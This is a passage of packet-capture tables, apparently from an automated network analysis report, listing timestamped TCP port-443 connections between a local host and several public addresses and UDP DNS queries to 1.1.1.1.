Apr 25, 2024 15:31:15.223207951 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.223216057 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.223714113 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.223772049 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.223778963 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.223866940 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.223911047 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.223921061 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.224009991 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.224056959 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.224065065 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.224266052 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.224333048 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.224378109 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.224390984 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.224433899 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.224493027 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.224495888 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.224517107 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.224576950 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.224580050 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.224592924 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.224632978 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.224648952 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.224663973 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.224685907 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.224694014 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.224780083 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.224822044 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.224828959 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.225208998 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.225251913 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.225263119 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.225275993 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.225321054 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.225332022 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.225614071 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.225671053 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.225678921 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.225781918 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.225825071 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.225835085 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.225924015 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.225996971 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.226000071 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.226003885 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.226025105 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.226047039 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.226056099 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.226068020 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.226069927 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.226115942 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.226133108 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.226145029 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.226192951 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.226250887 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.226494074 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.226556063 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.227056026 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.227097034 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.227133036 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.227132082 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.227145910 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.227185965 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.227267027 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.227320910 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.227919102 CEST	49800	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.227946997 CEST	443	49800	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.231873989 CEST	443	49803	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.231997967 CEST	443	49803	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.232053995 CEST	49803	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.232073069 CEST	443	49803	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.232259035 CEST	443	49803	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.232314110 CEST	49803	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.232592106 CEST	49803	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.232604980 CEST	443	49803	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.234998941 CEST	49810	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.235021114 CEST	443	49810	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.235095978 CEST	49810	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.235269070 CEST	49810	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.235285044 CEST	443	49810	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.266829967 CEST	443	49807	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.267081022 CEST	49807	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.267091036 CEST	443	49807	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.268254995 CEST	443	49807	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.268564939 CEST	49807	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.268690109 CEST	49807	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.268784046 CEST	443	49807	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.273550987 CEST	443	49808	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.273741007 CEST	49808	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.273750067 CEST	443	49808	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.274226904 CEST	443	49808	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.274501085 CEST	49808	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.274581909 CEST	443	49808	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.274589062 CEST	49808	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.319370031 CEST	49807	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.319370031 CEST	49808	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.319380999 CEST	443	49808	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.329499006 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.329596996 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.329749107 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.329801083 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.329953909 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.330013990 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.331329107 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.331412077 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.331506968 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.331568956 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.332535028 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.332598925 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.332997084 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.333056927 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.333250046 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.333314896 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.333462954 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.333522081 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.334228039 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.334283113 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.334357977 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.334418058 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.334850073 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.334923983 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.334940910 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.335159063 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.335203886 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.335257053 CEST	49801	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:15.335268021 CEST	443	49801	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:15.456310987 CEST	443	49809	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.456621885 CEST	49809	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.456636906 CEST	443	49809	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.460357904 CEST	443	49809	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.460442066 CEST	49809	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.460807085 CEST	49809	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.460973978 CEST	443	49809	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.461149931 CEST	49809	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.461157084 CEST	443	49809	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.464485884 CEST	443	49810	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.464720964 CEST	49810	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.464739084 CEST	443	49810	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.466156006 CEST	443	49810	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.466247082 CEST	49810	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.466537952 CEST	49810	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.466614962 CEST	443	49810	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.466659069 CEST	49810	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.508148909 CEST	443	49810	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.510411978 CEST	49809	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.510411978 CEST	49810	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.510426998 CEST	443	49810	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.536294937 CEST	443	49807	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.536416054 CEST	443	49807	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.536480904 CEST	49807	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.536492109 CEST	443	49807	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.536607027 CEST	443	49807	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.536662102 CEST	49807	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.537470102 CEST	49807	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.537482977 CEST	443	49807	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.553376913 CEST	443	49808	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.553580046 CEST	443	49808	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.553647041 CEST	49808	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.553658962 CEST	443	49808	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.553760052 CEST	443	49808	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.553817034 CEST	49808	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.553823948 CEST	443	49808	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.553985119 CEST	443	49808	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.554039001 CEST	49808	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.554486036 CEST	49808	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.554491997 CEST	443	49808	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.559061050 CEST	49810	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.930152893 CEST	443	49809	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.930284023 CEST	443	49809	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.930375099 CEST	49809	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.930377007 CEST	443	49809	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.930402994 CEST	443	49809	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.930452108 CEST	49809	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.930484056 CEST	443	49809	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.930690050 CEST	443	49809	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.930747986 CEST	49809	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.946430922 CEST	443	49810	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.946485996 CEST	443	49810	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.946554899 CEST	49810	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.946578979 CEST	443	49810	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.946602106 CEST	443	49810	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.946739912 CEST	49810	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.951867104 CEST	49810	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.951884985 CEST	443	49810	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:15.953237057 CEST	49809	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:15.953255892 CEST	443	49809	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:16.081474066 CEST	49688	443	192.168.2.16	13.107.21.200
Apr 25, 2024 15:31:21.348375082 CEST	443	49787	172.253.124.99	192.168.2.16
Apr 25, 2024 15:31:21.348565102 CEST	443	49787	172.253.124.99	192.168.2.16
Apr 25, 2024 15:31:21.348633051 CEST	49787	443	192.168.2.16	172.253.124.99
Apr 25, 2024 15:31:22.620759964 CEST	49787	443	192.168.2.16	172.253.124.99
Apr 25, 2024 15:31:22.620793104 CEST	443	49787	172.253.124.99	192.168.2.16
Apr 25, 2024 15:31:26.861969948 CEST	443	49793	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:26.862046957 CEST	443	49793	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:26.862123013 CEST	49793	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:28.624077082 CEST	49793	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:28.624161005 CEST	443	49793	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:30.069431067 CEST	49811	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:30.069530010 CEST	443	49811	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:30.069650888 CEST	49811	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:30.069921970 CEST	49811	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:30.069973946 CEST	443	49811	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:30.300756931 CEST	443	49811	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:30.301206112 CEST	49811	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:30.301234961 CEST	443	49811	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:30.301553011 CEST	443	49811	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:30.301887035 CEST	49811	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:30.301954031 CEST	443	49811	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:30.302067041 CEST	49811	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:30.344125986 CEST	443	49811	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:31.564585924 CEST	443	49811	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:31.564682007 CEST	443	49811	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:31.564768076 CEST	49811	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:31.565762997 CEST	49811	443	192.168.2.16	172.67.159.67
Apr 25, 2024 15:31:31.565789938 CEST	443	49811	172.67.159.67	192.168.2.16
Apr 25, 2024 15:31:31.568706989 CEST	49812	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:31.568794966 CEST	443	49812	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:31.568922043 CEST	49812	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:31.569339037 CEST	49812	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:31.569370985 CEST	443	49812	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:31.800123930 CEST	443	49812	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:31.800461054 CEST	49812	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:31.800479889 CEST	443	49812	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:31.800781012 CEST	443	49812	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:31.801084995 CEST	49812	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:31.801140070 CEST	443	49812	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:31.801239967 CEST	49812	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:31.848121881 CEST	443	49812	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:32.548063993 CEST	443	49812	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:32.548141003 CEST	443	49812	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:32.548238993 CEST	49812	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:32.548856020 CEST	49812	443	192.168.2.16	104.21.34.108
Apr 25, 2024 15:31:32.548912048 CEST	443	49812	104.21.34.108	192.168.2.16
Apr 25, 2024 15:31:56.875435114 CEST	49792	443	192.168.2.16	151.101.66.137
Apr 25, 2024 15:31:56.875448942 CEST	443	49792	151.101.66.137	192.168.2.16
Apr 25, 2024 15:32:11.180480003 CEST	49814	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:32:11.180517912 CEST	443	49814	35.190.80.1	192.168.2.16
Apr 25, 2024 15:32:11.180584908 CEST	49814	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:32:11.180835009 CEST	49814	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:32:11.180854082 CEST	443	49814	35.190.80.1	192.168.2.16
Apr 25, 2024 15:32:11.292963982 CEST	49815	443	192.168.2.16	108.177.122.104
Apr 25, 2024 15:32:11.292999983 CEST	443	49815	108.177.122.104	192.168.2.16
Apr 25, 2024 15:32:11.293118000 CEST	49815	443	192.168.2.16	108.177.122.104
Apr 25, 2024 15:32:11.293297052 CEST	49815	443	192.168.2.16	108.177.122.104
Apr 25, 2024 15:32:11.293313026 CEST	443	49815	108.177.122.104	192.168.2.16
Apr 25, 2024 15:32:11.406594992 CEST	443	49814	35.190.80.1	192.168.2.16
Apr 25, 2024 15:32:11.406935930 CEST	49814	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:32:11.406951904 CEST	443	49814	35.190.80.1	192.168.2.16
Apr 25, 2024 15:32:11.407838106 CEST	443	49814	35.190.80.1	192.168.2.16
Apr 25, 2024 15:32:11.407923937 CEST	49814	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:32:11.408202887 CEST	49814	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:32:11.408260107 CEST	443	49814	35.190.80.1	192.168.2.16
Apr 25, 2024 15:32:11.408324957 CEST	49814	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:32:11.408340931 CEST	443	49814	35.190.80.1	192.168.2.16
Apr 25, 2024 15:32:11.450483084 CEST	49814	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:32:11.520057917 CEST	443	49815	108.177.122.104	192.168.2.16
Apr 25, 2024 15:32:11.520385981 CEST	49815	443	192.168.2.16	108.177.122.104
Apr 25, 2024 15:32:11.520397902 CEST	443	49815	108.177.122.104	192.168.2.16
Apr 25, 2024 15:32:11.520859003 CEST	443	49815	108.177.122.104	192.168.2.16
Apr 25, 2024 15:32:11.521193027 CEST	49815	443	192.168.2.16	108.177.122.104
Apr 25, 2024 15:32:11.521270990 CEST	443	49815	108.177.122.104	192.168.2.16
Apr 25, 2024 15:32:11.562513113 CEST	49815	443	192.168.2.16	108.177.122.104
Apr 25, 2024 15:32:11.657993078 CEST	443	49814	35.190.80.1	192.168.2.16
Apr 25, 2024 15:32:11.658062935 CEST	443	49814	35.190.80.1	192.168.2.16
Apr 25, 2024 15:32:11.658260107 CEST	49814	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:32:11.658279896 CEST	443	49814	35.190.80.1	192.168.2.16
Apr 25, 2024 15:32:11.658298969 CEST	49814	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:32:11.658332109 CEST	49814	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:32:11.658780098 CEST	49816	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:32:11.658860922 CEST	443	49816	35.190.80.1	192.168.2.16
Apr 25, 2024 15:32:11.658974886 CEST	49816	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:32:11.659162045 CEST	49816	443	192.168.2.16	35.190.80.1
Apr 25, 2024 15:32:11.659195900 CEST	443	49816	35.190.80.1	192.168.2.16
Apr 25, 2024 15:32:11.884382010 CEST	443	49816	35.190.80.1	192.168.2.16
Apr 25, 2024 15:32:11.930463076 CEST	49816	443	192.168.2.16	35.190.80.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 25, 2024 15:30:06.290107965 CEST	65028	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:06.290457964 CEST	62429	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:06.383215904 CEST	53	61400	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:06.404916048 CEST	53	62429	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:06.404964924 CEST	53	65028	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:06.419158936 CEST	53	61667	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:07.043409109 CEST	53	50011	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:07.502337933 CEST	55114	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:07.502451897 CEST	65424	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:07.614631891 CEST	53	65424	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:07.614650965 CEST	53	55114	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:07.678308010 CEST	57490	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:07.678308010 CEST	64465	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:07.787570953 CEST	53	60519	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:07.790728092 CEST	53	57490	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:07.796005964 CEST	53	64465	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:08.248795033 CEST	55090	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:08.249036074 CEST	52448	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:08.358752966 CEST	53	61704	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:08.360527039 CEST	53795	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:08.360670090 CEST	58495	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:08.360692024 CEST	53	60658	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:08.360702038 CEST	53	58222	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:08.360712051 CEST	53	55090	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:08.360722065 CEST	53	52448	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:08.475402117 CEST	53	58495	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:08.475745916 CEST	53	53795	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:09.015621901 CEST	65422	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:09.015774012 CEST	52853	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:09.126360893 CEST	53	52853	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:09.128603935 CEST	53	65422	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:09.329778910 CEST	53	49295	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:09.482969046 CEST	53	57347	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:10.390275955 CEST	61996	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:10.390574932 CEST	58216	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:10.500511885 CEST	53	61996	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:10.500610113 CEST	53	58216	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:10.601615906 CEST	53	64011	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:11.066668034 CEST	51995	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:11.066855907 CEST	54371	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:11.099212885 CEST	53	65503	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:11.176703930 CEST	53	51995	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:11.177061081 CEST	53	54371	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:12.320748091 CEST	53	49290	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:12.763812065 CEST	53	52501	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:13.374097109 CEST	57531	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:13.374387980 CEST	62229	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:13.484312057 CEST	53	62229	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:13.484350920 CEST	53	57531	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:13.984853983 CEST	52915	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:13.984992981 CEST	63264	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:14.061964035 CEST	54877	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:14.062096119 CEST	65056	53	192.168.2.16	1.1.1.1
Apr 25, 2024 15:30:14.094862938 CEST	53	63264	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:14.095144033 CEST	53	52915	1.1.1.1	192.168.2.16
Apr 25, 2024 15:30:14.110522985 CEST	64333	53	192.168.2.16	1.1.1.1
